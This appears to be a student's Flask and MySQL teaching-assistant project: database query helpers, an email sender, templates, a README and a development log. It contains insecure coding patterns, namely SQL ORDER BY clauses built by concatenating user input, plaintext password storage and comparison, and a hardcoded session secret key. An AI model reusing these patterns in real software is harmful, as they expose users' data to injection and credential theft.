<file_sep> ''' conditon['student_id']=request.form.get('student_id') conditon['student_name']=request.form.get('student_name') conditon['gpa_min']=request.form.get('student_gpa_min') conditon['gpa_max']=request.form.get('student_gpa_max') conditon['up_or_down']=request.form.get('up_or_down') conditon['order']=request.form.get('order') conditon['is_dishonour']=request.form.get('is_dishonour') conditon['student_course']=request.form.get('student_course') conditon['student_grade']=request.form.get('student_grade') conditon['student_college']=request.form.get('student_college') conditon['student_reward']=request.form.get('student_course') conditon['student_seminar']=request.form.get('student_course') condition['course_id']=request.form.get('course_id') condition['course_name']=request.form.get('course_name') condition['course_time']=request.form.get('course_time') condition['course_location']=request.form.get('course_location') ''' ''' @app.route('/email',methods=['GET']) def email_form(): return render_template('email-form.html') @app.route('/find-form',methods=['GET']) def find_form(): return render_template('find-form.html') @app.route('/signin',methods=['GET']) def signin_form(): return render_template('form.html') '''<file_sep>import re def get_email(test): email_reg=re.compile(r'(.*)@(\w+)\.com') email_match=email_reg.match(test) if email_match: print('ok!check the email:',email_match.group(1),email_match.group(2)) return email_match.group(0) else: print('failed') return None if __name__=='__main__': test=input('please input your email address:') get_email(test)<file_sep># Teaching-Learning-System This is my first original project and based on Python&amp;Flask. as homework and course-project of Data Structure(数据结构) of SHU,this project can simply work as a teaching assistant system. I finished most of work with help of h.w.Liao(@https://github.com/Harwy) ,ch.y.Chu(@who refuse tp tell me his github) and other group members.Thank you guys! You can visit the result of this project by http://lifanspace.top/ teacher id:1001 student id:14120001 psw(both):111111 这是我写的第一个项目,使用flask&mysql构建了一个教学管理系统——数据结构课程的课程作业 第一个项目,非常潦草 感谢组员以及ch.y.Chu同学的帮助! 访问成品 :http://lifanspace.top/ 教师账号:1001 学生账号:14120001 密码均为:<PASSWORD> <file_sep>#加载mysql库===================================================== import mysql.connector #连接数据库======================================================= def connect_db(): conn = mysql.connector.connect(host='#',user='##', password='#',database='intelligent_teaching_system') return conn #you can use your own mysql db here and if you want my db,you contact me by <EMAIL> #简单查询======================================================== def find_all_student(): #查询所有学生 conn=connect_db() cursor = conn.cursor() cursor.execute('select * from student') value=cursor.fetchall() print(value) cursor.close() conn.close() return value def find_all_teacher(): #查询所有教师 conn=connect_db() cursor = conn.cursor() cursor.execute('select * from teacher') value=cursor.fetchall() print(value) cursor.close() conn.close() return value def find_all_course(): #查询所有课程 conn=connect_db() cursor = conn.cursor() cursor.execute('select * from course') value=cursor.fetchall() print(value) cursor.close() conn.close() return value def find_all_reward(): #查询所有奖项 conn=connect_db() cursor = conn.cursor() cursor.execute('select * from reward') value=cursor.fetchall() print(value) cursor.close() conn.close() return value def find_all_seminar(): #查询所有研讨 conn=connect_db() cursor = conn.cursor() cursor.execute('select * from seminar') value=cursor.fetchall() print(value) cursor.close() conn.close() return value #参数查询======================================================== def find_some_student(cond,regex=False): #数据库搜索函数 #通过字典接收参数 进行参数查找以及排序指定学生 是否使用模糊查询默认为否 #得到的gpa数据为str 但不影响排序 print(cond)#测试参数 for x in cond: if cond.get(x)=='': cond[x]='%' #将空条件设定为%(mysql like语句中的通配符) if cond['student_gpa_max']=='%': cond['student_gpa_max']=4.0 if cond['student_gpa_min']=='%': cond['student_gpa_min']=0.0 #绩点比较特殊,默认为0-4 if cond['up_or_down']=='down': cond['order']=cond['order']+' DESC' #读取升序/降序 if cond['student_major']=='all': cond['student_major']='%' #默认所有专业 conn=connect_db() cursor = conn.cursor() #连接数据库 if regex==True: #模糊查询使用sql正则regexp语句 但只支持对名字进行模糊查询 if cond['student_course']=='%': #课程sql语句比较特殊,需要区分默认无参及有参的情况 sql='select * from student where STUDENT_ID like %s and STUDENT_NAME regexp %s and STUDENT_GPA between %s and %s ' sql+='and STUDENT_COURSE like %s and STUDENT_REWARD like %s and STUDENT_GRADE=%s and STUDENT_MAJOR like %s and STUDENT_SEMINAR like %s order by ' else: sql='select * from student where STUDENT_ID like %s and STUDENT_NAME like %s and STUDENT_GPA between %s and %s ' sql+='and FIND_IN_SET(%s,student.STUDENT_COURSE) and STUDENT_REWARD like %s and STUDENT_GRADE=%s and STUDENT_MAJOR like %s and STUDENT_SEMINAR like %s order by ' else: if cond['student_course']=='%': sql='select * from student where STUDENT_ID like %s and STUDENT_NAME like %s and STUDENT_GPA between %s and %s ' sql+='and STUDENT_COURSE like %s and STUDENT_REWARD like %s and STUDENT_GRADE=%s and STUDENT_MAJOR like %s and STUDENT_SEMINAR like %s order by ' else: sql='select * from student where STUDENT_ID like %s and STUDENT_NAME like %s and STUDENT_GPA between %s and %s ' sql+='and FIND_IN_SET(%s,student.STUDENT_COURSE) and STUDENT_REWARD like %s and STUDENT_GRADE=%s and STUDENT_MAJOR like %s and STUDENT_SEMINAR like %s order by ' cursor.execute( sql+cond['order'],(cond['student_id'],cond['student_name'],cond['student_gpa_min'], cond['student_gpa_max'],cond['student_course'],cond['student_reward'],cond['student_grade'],cond['student_major'],cond['student_seminar'])) #order by 占位符不起作用 暂时用+连接字符串 value=cursor.fetchall() #获得查询结果集 count=0 for x in value: count+=1 #记录记录数量 cursor.close() conn.close() #关闭指针和数据库连接 if count==0: return '' else: return value #返回结果 def find_some_course(cond,regex=False): #参数查询指定课程 conn=connect_db() cursor = conn.cursor() for x in cond: if cond.get(x)=='': cond[x]='%' #cursor.execute('select * from course INNER JOIN student ON course.COURSE_ID=student.STUDENT_COURSE OR FIND_IN_SET(course.COURSE_ID, #student.STUDENT_COURSE) where COURSE_ID=%s',(course_id,)) if regex: #正则regexp sql='select * from course where COURSE_ID like %s and COURSE_NAME regexp %s and COURSE_TIME like %s and COURSE_LOCATION like %s' else: sql='select * from course where COURSE_ID like %s and COURSE_NAME like %s and COURSE_TIME like %s and COURSE_LOCATION like %s' cursor.execute(sql,(cond['course_id'],cond['course_name'],cond['course_time'],cond['course_location'])) value=cursor.fetchall() count=0 for x in value: count+=1 cursor.close() conn.close() if count==0: return '' else: return value def find_some_teacher(cond,regex=False): #参数查询指定教师 conn=connect_db() cursor = conn.cursor() #print(cond) for x in cond: if cond.get(x)=='': cond[x]='%' if 'up_or_down' in cond: if cond['up_or_down']=='down': cond['order']=cond['order']+' DESC' #print(cond) if regex: #正则regexp if cond['teacher_course']=='%': sql='select * from teacher where TEACHER_ID like %s and TEACHER_NAME regexp %s and TEACHER_SEMINAR like %s and TEACHER_COURSE like %s and TEACHER_SEMINAR like %s and TEACHER_COLLEGE like %s order by ' else: sql='select * from teacher where TEACHER_ID like %s and TEACHER_NAME like %s and TEACHER_SEMINAR like %s and FIND_IN_SET(%s,teacher.TEACHER_COURSE) and TEACHER_SEMINAR like %s and TEACHER_COLLEGE=%s order by ' else: if cond['teacher_course']=='%': sql='select * from teacher where TEACHER_ID like %s and TEACHER_NAME like %s and TEACHER_SEMINAR like %s and TEACHER_COURSE like %s and TEACHER_SEMINAR like %s and TEACHER_COLLEGE like %s order by ' else: sql='select * from teacher where TEACHER_ID like %s and TEACHER_NAME like %s and TEACHER_SEMINAR like %s and FIND_IN_SET(%s,teacher.TEACHER_COURSE) and TEACHER_SEMINAR like %s and TEACHER_COLLEGE like %s order by ' cursor.execute(sql+cond['order'],(cond['teacher_id'],cond['teacher_name'],cond['teacher_seminar'],cond['teacher_course'],cond['teacher_seminar'],cond['teacher_college'])) value=cursor.fetchall() count=0 for x in value: count+=1 cursor.close() conn.close() if count==0: return '' else: return value def find_some_seminar(cond,regex=False): #参数查询指定研讨活动 conn=connect_db() cursor = conn.cursor() #print(cond) for x in cond: if cond.get(x)=='': cond[x]='%' #print(cond) if regex: #正则regexp if cond['seminar_student_id']=='%': sql='select * from seminar where SEMINAR_ID like %s and SEMINAR_NAME regexp %s and SEMINAR_STUDENT_ID like %s and SEMINAR_TEACHER_ID like %s' else: sql='select * from seminar where SEMINAR_ID like %s and SEMINAR_NAME regexp %s and FIND_IN_SET(%s,seminar.SEMINAR_STUDENT_ID) and SEMINAR_TEACHER_ID like %s' else: if cond['seminar_student_id']=='%': sql='select * from seminar where SEMINAR_ID like %s and SEMINAR_NAME like %s and SEMINAR_STUDENT_ID like %s and SEMINAR_TEACHER_ID like %s' else: sql='select * from seminar where SEMINAR_ID like %s and SEMINAR_NAME like %s and FIND_IN_SET(%s,seminar.SEMINAR_STUDENT_ID) and SEMINAR_TEACHER_ID like %s' cursor.execute(sql,(cond['seminar_id'],cond['seminar_name'],cond['seminar_student_id'],cond['seminar_teacher_id'])) value=cursor.fetchall() count=0 for x in value: count+=1 cursor.close() conn.close() if count==0: return '' else: return value def find_some_reward(cond,regex=False): #参数查询指定奖项 conn=connect_db() cursor = conn.cursor() #print(cond) for x in cond: if cond.get(x)=='': cond[x]='%' #print(cond) if regex: #正则regexp if cond['reward_student_id']=='%': sql='select * from reward where REWARD_ID like %s and REWARD_NAME regexp %s and REWARD_STUDENT_ID like %s ' else: sql='select * from reward where REWARD_ID like %s and REWARD_NAME regexp %s and FIND_IN_SET(%s,reward.REWARD_STUDENT_ID) ' else: if cond['reward_student_id']=='%': sql='select * from reward where REWARD_ID like %s and REWARD_NAME like %s and REWARD_STUDENT_ID like %s ' else: sql='select * from reward where REWARD_ID like %s and REWARD_NAME like %s and FIND_IN_SET(%s,reward.REWARD_STUDENT_ID) ' cursor.execute(sql,(cond['reward_id'],cond['reward_name'],cond['reward_student_id'])) value=cursor.fetchall() count=0 for x in value: count+=1 cursor.close() conn.close() if count==0: return '' else: return value #登陆/注册======================================================= def register(name,pwd): # conn=connect_db() cursor=conn.cursor() if check_id(name) is False: return False sql='insert into user values (%s,%s)' result=cursor.execute(sql,(name,pwd)) cursor.close() conn.commit() conn.close() return True def check_id(id): conn=connect_db() cursor=conn.cursor() sql='select ID from user' cursor.execute(sql) value=cursor.fetchall() cursor.close() conn.close() #print(value) for x in value: if x[0]==id: return False return True def login(name,pwd): conn=connect_db() cursor=conn.cursor() sql='select ID,PASSWORD from user where ID=%s' cursor.execute(sql,(name,)) value=cursor.fetchall() cursor.close() conn.close() print(value) if not len(value)==0: if value[0][1]==pwd: return value[0][0] return 0 #需求查询(因为上面的参数查询的耦合性过强)========================= def find_teacher_id(teacher_id): #通过教师号查询教师 conn=connect_db() cursor=conn.cursor() sql='select * from teacher where TEACHER_ID=%s' cursor.execute(sql,(teacher_id,)) value=cursor.fetchall() count=0 for x in value: count+=1 cursor.close() conn.close() if count==0: return '' else: return value return 0 def find_student_id(student_id): #通过学生号查询学生 conn=connect_db() cursor=conn.cursor() sql='select * from student where STUDENT_ID=%s' cursor.execute(sql,(student_id,)) value=cursor.fetchall() count=0 for x in value: count+=1 cursor.close() conn.close() if count==0: return '' else: return value return 0 def find_course_list(course_id): #通过课程号查询课程 conn=connect_db() cursor=conn.cursor() value=[] for x in course_id: sql='select * from course where COURSE_ID=%s' cursor.execute(sql,(x,)) value+=cursor.fetchall() cursor.close() conn.close() return value def find_student_course(course_id): #查询上某门课程的学生 conn=connect_db() cursor=conn.cursor() #sql='select * from student where FIND_IN_SET(%s,student.STUDENT_COURSE)' sql='SELECT student.STUDENT_ID,student.STUDENT_NAME,student.STUDENT_GRADE,student.STUDENT_MAJOR,student.STUDENT_EMAIL,student.STUDENT_PHONE_NUM,student.STUDENT_GPA,' sql+='student.STUDENT_COURSE,absence.ABSENCE_COUNT,absence.ABSENCE_TIME FROM student LEFT JOIN absence ON absence.STUDENT_ID = student.STUDENT_ID where FIND_IN_SET(%s,student.STUDENT_COURSE)' cursor.execute(sql,(course_id,)) value=cursor.fetchall() cursor.close() conn.close() return value def find_student_course_order(course_id,teacher_id,order='student.STUDENT_GPA DESC'): #查询上某门课程的学生_排序 if order=='student_id': order='student.'+order.upper() else: order='student.'+order.upper()+' DESC' conn=connect_db() cursor=conn.cursor() #sql='select * from student where FIND_IN_SET(%s,student.STUDENT_COURSE)' sql='SELECT student.STUDENT_ID,student.STUDENT_NAME,student.STUDENT_GRADE,student.STUDENT_MAJOR,student.STUDENT_EMAIL,student.STUDENT_PHONE_NUM,student.STUDENT_GPA,' sql+='student.STUDENT_COURSE,absence.ABSENCE_COUNT,absence.ABSENCE_TIME FROM student LEFT JOIN absence ON absence.STUDENT_ID = student.STUDENT_ID where FIND_IN_SET(%s,student.STUDENT_COURSE) order by ' cursor.execute(sql+order,(course_id,)) value=cursor.fetchall() cursor.close() conn.close() return value def find_student_course_rate(course_id,teacher_id): #查询上某门课程的学生_排序(显示教师评价) conn=connect_db() cursor=conn.cursor() #sql='select * from student where FIND_IN_SET(%s,student.STUDENT_COURSE)' sql='SELECT student.STUDENT_ID,student.STUDENT_NAME,rate.SCORE,rate.RATE,rate.TEACHER_ID,rate.COURSE_ID ' sql+='FROM student RIGHT JOIN rate ON student.STUDENT_ID = rate.STUDENT_ID WHERE rate.TEACHER_ID=%s and FIND_IN_SET(%s,rate.COURSE_ID) order by rate.SCORE' cursor.execute(sql,(teacher_id,course_id)) value=cursor.fetchall() cursor.close() conn.close() return value def find_student_ordinary(course_id): #显示平时成绩 conn=connect_db() cursor=conn.cursor() #sql='select * from student where FIND_IN_SET(%s,student.STUDENT_COURSE)' sql='SELECT student.STUDENT_ID,student.STUDENT_NAME,ordinary.ORDINARY_SCORE FROM ordinary right JOIN student ON student.STUDENT_ID = ordinary.STUDENT_ID WHERE ordinary.COURSE_ID=%s' cursor.execute(sql,(course_id,)) value=cursor.fetchall() cursor.close() conn.close() return value def find_teacher_course(course_id): #查询上某门课程的教师 conn=connect_db() cursor=conn.cursor() sql='select * from teacher where FIND_IN_SET(%s,teacher.TEACHER_COURSE)' cursor.execute(sql,(course_id,)) value=cursor.fetchall() cursor.close() conn.close() return value #平时成绩============================================================= def ordinary_score(student_id,course_id,score): #写入平时成绩 conn=connect_db() cursor=conn.cursor() print(check_dup_student(int(student_id),course_id,'ordinary')) if check_dup_student(int(student_id),int(course_id),'ordinary'): #如果没有成绩则新建行 不然就修改原本的成绩 sql='insert into ordinary values (%s,%s,%s,%s)' result=cursor.execute(sql,(student_id,course_id,score,'暂未上传')) else: sql='update ordinary set ORDINARY_SCORE=%s where STUDENT_ID=%s and COURSE_ID=%s' result=cursor.execute(sql,(score,student_id,course_id)) cursor.close() conn.commit() conn.close() return result def check_dup_student(student_id,course_id,table_name): #查询是否有过纪录 conn=connect_db() cursor=conn.cursor() if table_name=='ordinary': sql='select STUDENT_ID,COURSE_ID from ordinary' elif table_name=='absence': sql='select STUDENT_ID,COURSE_ID from absence' else: sql='' cursor.execute(sql) value=cursor.fetchall() cursor.close() conn.close() for x in value: if x[0]==student_id and x[1]==course_id: return False return True #作业分数============================================================= def homework_score(student_id,course_id,score): #写入作业成绩(同在ordinary表中) conn=connect_db() cursor=conn.cursor() print(check_dup_student(int(student_id),course_id,'ordinary')) if check_dup_student(int(student_id),int(course_id),'ordinary'): #如果没有成绩则新建行 不然就修改原本的成绩 sql='insert into ordinary values (%s,%s,%s,%s)' result=cursor.execute(sql,(student_id,course_id,'暂未上传',score)) else: sql='update ordinary set HOMEWORK_SCORE=%s where STUDENT_ID=%s and COURSE_ID=%s' result=cursor.execute(sql,(score,student_id,course_id)) cursor.close() conn.commit() conn.close() return result #纪录缺勤(用到上面的查重函数)========================================= def student_absence(student_id,course_id,absence_time,count): conn=connect_db() cursor=conn.cursor() if check_dup_student(int(student_id),int(course_id),'absence'): sql='insert into absence values (%s,%s,%s,%s)' result=cursor.execute(sql,(student_id,course_id,absence_time,count)) else: sql='update absence set ABSENCE_TIME=%s,ABSENCE_COUNT=%s where STUDENT_ID=%s and COURSE_ID=%s' result=cursor.execute(sql,(absence_time,count,student_id,course_id)) cursor.close() conn.commit() conn.close() return result #评价教师============================================================= def rate_teacher(student_id,teacher_id,course_id,rate,score): conn=connect_db() cursor=conn.cursor() if check_dup_teacher(int(student_id),int(teacher_id),int(course_id)): sql='insert into rate values (%s,%s,%s,%s,%s)' result=cursor.execute(sql,(student_id,teacher_id,course_id,rate,score)) else: sql='update rate set RATE=%s,SCORE=%s where STUDENT_ID=%s and TEACHER_ID=%s and COURSE_ID=%s' result=cursor.execute(sql,(rate,score,student_id,teacher_id,course_id)) cursor.close() conn.commit() conn.close() return result def check_dup_teacher(student_id,teacher_id,course_id): conn=connect_db() cursor=conn.cursor() sql='select STUDENT_ID,TEACHER_ID,COURSE_ID from rate' cursor.execute(sql) value=cursor.fetchall() cursor.close() conn.close() for x in value: if x[0]==student_id and x[1]==teacher_id and x[2]==course_id: return False return True #查询历史成绩=========================================================== def find_history_score(student_id): conn=connect_db() cursor=conn.cursor() sql='select * from score where STUDENT_ID=%s' cursor.execute(sql,(student_id,)) value=cursor.fetchall() count=0 for x in value: count+=1 cursor.close() conn.close() if count==0: return '' else: return value return 0 #创建研讨================================================= def insert_seminar(name,teacher_id,location,time): conn=connect_db() cursor=conn.cursor() student='招募中' sql='insert into seminar values (%s,%s,%s,%s,%s,%s)' result=cursor.execute(sql,(get_last_id()+1,name,teacher_id,time,location,student)) cursor.close() conn.commit() conn.close() return result def get_last_id(): conn=connect_db() cursor=conn.cursor() sql='select SEMINAR_ID from seminar ' cursor.execute(sql) value=cursor.fetchall() count=0 for x in value: count+=1 cursor.close() conn.close() return value[count-1][0] #消息系统================================================= def get_message(receiver_id): #返回最新的三条消息(to do 未读) conn=connect_db() cursor=conn.cursor() sql='select * from message where RECEIVER_ID=%s' cursor.execute(sql,(receiver_id,)) value=cursor.fetchall() count=0 for x in value: count+=1 cursor.close() conn.close() if count==0: return False elif count>=3: return value[-3:] else: return value def insert_message(receiver_id,sender_id,message): #写入消息 conn=connect_db() cursor=conn.cursor() sql='insert into message values (%s,%s,%s,%s)' result=cursor.execute(sql,(int(receiver_id),int(sender_id),message,'f')) cursor.close() conn.commit() conn.close() return result def get_all_message(receiver_id): #所有消息内容 conn=connect_db() cursor=conn.cursor() sql='select * from message where RECEIVER_ID=%s' cursor.execute(sql,(receiver_id,)) value=cursor.fetchall() count=0 for x in value: count+=1 cursor.close() conn.close() return value def not_read_message_num(receiver_id): #返回未读消息的数量 conn=connect_db() cursor=conn.cursor() sql='select * from message where RECEIVER_ID=%s and IS_READ=%s' cursor.execute(sql,(int(receiver_id),'f')) value=cursor.fetchall() count=0 for x in value: count+=1 cursor.close() conn.close() #print(count) return count def set_message_read(receiver_id): #现阶段数据表设置无法实现对某条消息已读 #将所有消息标记为已读 conn=connect_db() cursor=conn.cursor() sql='update message set IS_READ =%s where RECEIVER_ID=%s' result=cursor.execute(sql,('t',int(receiver_id))) cursor.close() conn.commit() conn.close() return result def set_message_not_read(receiver_id): #现阶段数据表设置无法实现对某条消息操作 #将所有消息标记为未读 conn=connect_db() cursor=conn.cursor() sql='update message set IS_READ =%s where RECEIVER_ID=%s' result=cursor.execute(sql,('f',int(receiver_id))) cursor.close() conn.commit() conn.close() return result def delete_all_message(receiver_id): #删除所有消息(设想通过改掉收信人实现 这样还能恢复) conn=connect_db() cursor=conn.cursor() sql='update message set RECEIVER_ID =%s where RECEIVER_ID=%s' result=cursor.execute(sql,(int(receiver_id)+10000000,int(receiver_id))) cursor.close() conn.commit() conn.close() return result def all_course_message(course_id,sender_id,message): #向全班所有学生发送站内信 conn=connect_db() cursor=conn.cursor() #sql='select * from student where FIND_IN_SET(%s,student.STUDENT_COURSE)' sql='SELECT student.STUDENT_ID FROM student where FIND_IN_SET(%s,student.STUDENT_COURSE)' cursor.execute(sql,(course_id,)) value=cursor.fetchall() sql_insert='insert into message values (%s,%s,%s,%s)' for x in value: #print(x[0]) cursor.execute(sql_insert,(int(x[0]),int(sender_id),message,'f')) conn.commit() cursor.close() conn.close() #读取邮箱功能============================================== def get_course_all_email(course_id): #获取全班同学的邮箱 conn=connect_db() cursor=conn.cursor() sql='select STUDENT_EMAIL from student where FIND_IN_SET(%s,student.STUDENT_COURSE)' cursor.execute(sql,(course_id,)) value=cursor.fetchall() cursor.close() conn.close() #返回一个list email_list='' for x in value: email_list+=x[0]+',' return email_list[:-1] #收集意见反馈============================================== def insert_advice(email,advice): conn=connect_db() cursor=conn.cursor() sql='insert into advice values (%s,%s)' result=cursor.execute(sql,(email,advice)) cursor.close() conn.commit() conn.close() return result #显示修改个人信息============================================= #测试函数=============================================================== if __name__=='__main__': #find_all_student() #find_some_student('','','','') #print(login('1003','159753')) #print(find_teacher_course('1001')) #print(find_teacher_course(['1001','1002'])) #print(find_student_course('1001')) #ordinary_score("14120001",1001,90) #print(check_dup_student(14120001,1001)) #print(register('14120003','159753')) #print(check_id('14120003')) #print(get_last_id()) #print(get_message(1001)) #email_list='' #for x in get_course_all_email('1001'): # email_list+=x[0]+',' #print(email_list[:-1]) #print(not_read_message_num('14120003')) #print(set_message_not_read('14120003')) #for x in get_all_message('1001'): # print(x) #delete_all_message('14120002') all_course_message('1005','1001','test') <file_sep>from email import encoders from email.utils import parseaddr,formataddr from email.mime.text import MIMEText from email.header import Header import smtplib #smtp.qq.com (端口465或587) #smtp.126.com 25 def _format_addr(s): name,addr=parseaddr(s) return formataddr((Header(name,'utf-8').encode(),addr)) def sendemail(to_addr,title,text): #server_port={'163':'25','qq':'587','126':'25'} #from_addr=input('From:') from_addr='<EMAIL>' #password=input('Password:') password='<PASSWORD>' #to_addr=input('To:') #to_addr='<EMAIL>' #smtp_server=input('SMTP server:') #发信人端的smtp服务器 smtp_server='smtp.163.com' msg=MIMEText('%s'%text,'plain','utf-8') msg['From']=_format_addr('系统管理员<%s>'%from_addr) msg['To']=_format_addr('用户<%s>'%to_addr) msg['Subject']=Header('%s'%title,'utf-8').encode() try: server=smtplib.SMTP(smtp_server,25)# no ssl port 465/994 #ssl port #server.starttls()#ssl safe Connection fail server.set_debuglevel(1) server.login(from_addr,password) to_list=to_addr.split(',') server.sendmail(from_addr,to_list,msg.as_string()) print('sent it') except Exception as e: print(e) server.quit() if __name__=='__main__': sendemail('<EMAIL>,<EMAIL>,15201710458<EMAIL>','test233','test233')<file_sep>{% extends "base.html" %} {% block main %} <body> <div class='container'> {% if message %} <p style="color:red">{{ message }}</p> {% endif %} <form action="/message" method="post"> <legend>发送站内信:&nbsp;&nbsp;&nbsp;&nbsp; <a href="/email" class="btn btn-primary " type="butter"> 发送邮件</a></legend> {%if receiver_id%} <p>收件人:<input name="to" placeholder="To" value={{receiver_id}}></p> <p>标题 :<input name="title" placeholder="Title" type="text"></p> <p>信息 :<input name="text" placeholder="Text" type="text" size='50' value=''></p> {%else%} <p>收件人:<input name="to" placeholder="To" value=''></p> <p>标题 :<input name="title" placeholder="Title" type="text"></p> <p>信息 :<input name="text" placeholder="Text" type="text" size='50'></p> {%endif%} <p><button class="btn btn-primary" type="submit">发送</button></p> </form> </div> </body> {% endblock %} <file_sep>import logging import os from flask import (Flask, make_response, redirect, render_template, request, send_from_directory, session, url_for) #自有包 from werkzeug import secure_filename import bing_api import email_regex import mysql_model #导入第三方库 import send_email #导入自己写的库 #文件架构========================================= #teaching_system # /static # /css # /font # /js # /templates # /teacher # course-student.html # course-work.html # index.html # message-course.html # ordinary-score.html # seminar.html # student-absence.html # teacher-course.html # /student # index.html # online-learn.html # student-homework.html # student-result.html # teacher-rate.html # home.html # base.html # base-teacher.html # base-student.html # feedback.html # # app.py # send_eamail.py # email_regex.py # mysql_model.py #感想============================================= #404 一般都是哪打错了。。 #施工记录======================================== #send_email:用我的邮箱发送邮件 email_regex:邮件地址检查(基础)mysql_model:连接阿里云上的mysql数据库 #0.0.1 (16.9.19) 完成发送邮件模块的50%(基础发送功能,基础识别错误邮件地址功能,基础发送报错功能, 可选发送给个人和全部(施工中) # 完成基础邮件发送表单,*消除了只能发给自己的BUG。。。 #0.0.2 (16.9.20) 连接数据库,简单查询所有人,完成简单参数查询 #0.0.3 (16.9.21) 继续施工参数查询,明确查询反馈(结果行数为0时提示),优化router接受的url ,设置了base模板 # 问题:读取表单的gpa数据一直失败(疑似解决 原因是表单中名字填错) # 有待了解SQL模糊查询 #0.0.4(16.9.22) 继续施工参数查询 完工全部查询(但order by 不明原因占位符失效,暂时用拼接字符串的简陋方法) # 部署完成学生几项查询 有待施工教师,课程参数查询 暂时确定两个入口(老师和学生)的计划以及登录界面 考虑制作视频介绍功能 # 有待加深SQL语句知识 计划施工多表联合查询 优化mysql_model 改变sql查询为字典传参 #0.0.5(16.9.23) 发现BUG:发送邮件 在表单未填的情况下 返回400(已解决 因为checked写成check 导致没有默认项 顺手解决收信人为空时发送的BUG); # 完成部分跨表查询 #0.0.6(16.9.24) 给教师,课程查询配备对应的表格标题,统一替换所有class,lesson为course 因为class会影响关键字;使用字典传送sql查找函数的参数 #0.0.7(16.9.25) 使用生成器生成字典 修复昨天误把字典设成列表的错误;草创注册界面 但写入数据库失败(原因是没有commit) 基本完成参数查询 #0.0.8(16.9.27) 加入登陆检验 继续完善内容 #0.0.1(16.9.28) 进入0.1版本 #0.1.1(16.9.28) 进入新版本(虽然都是我自己决定的)显示当前登录的用户; 加入教师的课程管理,草创对课程内的学生进行管理(记录缺勤,迟到?,记录平时成绩?)email联系(未完成) # 代码越来越乱了 尤其是函数名 而且许多函数是否改成可复用不确定 有些函数耦合性过强; # 接下来再完善老师的部分 以及完成相应的学生部分(查看自己的课程,查看上课的老师,联系老师)(尚未决定是否学生教师账户隔离) # 需要继续学习 动态生成(灵活组建url);担忧登录逻辑的可靠性 继续学习session 考虑多行数据的分页问题 #0.1.2(16.9.29) 新增了联系作者 也考虑用这个思路做联系老师/学生;修复邮件BUG 制作完成部分学生;正在全力制作文件上传系统(完成了部分);重写了404页面 # 装上了pylink 还不错 #0.1.3(16.9.30) 计划施工联系学生/教师 完成基本作业上传 #0.1.4(16.10.1) 整理一下app.py中的代码 基本完成联系教师/学生 自动填充邮件地址 # 接下来的任务:模糊查询 ,老师统一/单独查看作业 并评分 ,教师纪录出勤(形式还没想好)学生评价老师(课程),竞赛 研讨 奖项的页面 #0.1.5(16.10.2) 初步完成纪录缺勤的前端页面(暂时没有数据库连接) 使用session随时存储和调出当前的课程号(还可以用于其他方面,即所谓上下文)增加联系课程全体学生的选项(暂时只有选项而已) #0.1.6(16.10.3) 发现BUG:学生上传文件时 如果文件名是纯中文则会失去文件名(混合则失去所有中文) 完成教师查看全班学生作业的功能 #0.1.7(16.10.4) 完成登记平时成绩的前端页面(分为班级/个人两种登记方式;对mysql_model稍加整理;完成平时成绩(两种方式)的数据库写入;草创教师/学生登录分隔 即登录后即进入各自首页(其实没有分离);修正了一个微小的BUG #0.1.8(16.10.5) 部分完成了缺勤纪录的数据库写入 但出现了会使数据库出现问题的BUG(使用逗号分隔数据,第二次覆盖写入会使值变成0 此后连接数据库就会超时) # BUG更新:去掉逗号 还是会出现第二次写入 即update语句后 显示0 count栏也不会变化(BUG解决 SQL语句写错了 update同一行中两项之间用逗号分隔 不能用and 之前的逗号应该不影响 但无所谓了 没有逗号也行) # 完成教师评价的简单前端页面以及数据库写入;想画个像储诚意那样的图;完成关于页; #0.1.9(16.10.6) 完善参数查询(欠学生中的不良记录还没构思好)(注意:要使默认情况下显示全部的功能实现 reward等栏目必须填入值);草创模糊查询(且仅限模糊查询名字一项,如果模糊查询多项就会通原本的默认显示全部的功能所冲突) # 考虑部署的问题(apache+wsgi+flask)遇到点问题 #0.2.0(16.10.7) 重要部署完成了(iis7)!!好烦有木有 装cgi python3.4 administrator pack 。。。 # 计划施工课程公告(教师发布端,学生接收端)平时成绩显示 缺勤显示 # 修复关于session的BUG (因为生产环境不会执行if __name__==__main__以后的代码。。) #0.2.1(16.10.8) 完成缺勤记录在学生名册中的显示;原有的平时成绩在设定新成绩页显示(修复bug);完成教师/学生首页的折叠菜单; # 载入jQuery库;实验搜索功能 #0.2.2(16.10.9) 完成历史成绩查询 学生/教师查询(教师端缺表头?不知道为何) 部署视频(但需要本地视频) #0.2.3(16.10.10) 优化注册/登录/首页 ;分离学生和教师的首页;优化注册失败机制以及提示;完成网上学习(视频);完成意见反馈 #0.2.4(16.10.13) 完成随机学生生成 #0.2.5(16.10.14) 计划教师课程学生名册页排序 但教师评价因为学生评价的数据存储形式 无法实现 # 创建研讨功能开发中(欠 读取表单 写入数据库 自动生成id) #0.2.6(16.10.17) 创建研讨初步完成(欠 输入检测);修正由于user表中id类型引发的注册失败BUG;教师/学生首页显示最新3条消息; # 加入按照教师评价排序功能 #0.3.0(16.10.19) 没事升个版本号 草创站内信发送 还是打算和邮件分离 完成一次性给所有班上学生发送邮件(要生成list才行。。) # 计划部署 查看站内信以及未读站内信 #0.4.0(16.10.29) 好久没做这个 继续完善一下 数字信号项目终于结束了!!升个版本号庆祝一下! # 考虑继续完善站内信功能 包括回复 消息提醒 显示所有消息等界面 修正登录后不显示消息的BUG #0.4.1(16.10.31) 需要考虑实现一些更有技术含量的功能,而非更多的重复操作!! # 初步完成消息模块(欠标记删除信息 ) 考虑教师作业批改打分 试验把读取未读消息数量加到signup函数中 这样能少很多麻烦 写入session #记录一下 我把pylink关了(把它文件夹的名字给改了。。) #0.4.2(16.11.1) 继续完善消息系统 完成教师作业评分前端 欠后端以及数据库 学生实装消息系统 #0.4.3(16.11.2) 实验分页 继续施工作业评分 建设两个演示账号 项目报告 放弃了教师评价排行 # 解决平时成绩重复显示BUG 搜索无法显示所有学生的缺陷 考虑修改学生信息(simple) # 分页研究暂时搁置 感觉需要一点前端知识 #0.9.0(16.11.2) 预发布版本 将debug=true去掉 #本程序基于Python Flask网路框架================== app=Flask(__name__) #文件存储路径 UPLOAD_FOLDER = 'c:/flaskWebSite/file' #允许上传的文件类型 ALLOWED_EXTENSIONS = set(['txt', 'pdf', 'png', 'jpg', 'jpeg', 'gif', 'doc','docx','ppt','pptx','py']) app.config['UPLOAD_FOLDER'] = UPLOAD_FOLDER #session的key app.secret_key = 'lifanishuge'#need the key #全局函数======================================= def allowed_file(filename): # 检测文件上传是否为允许的类型 return '.' in filename and \ 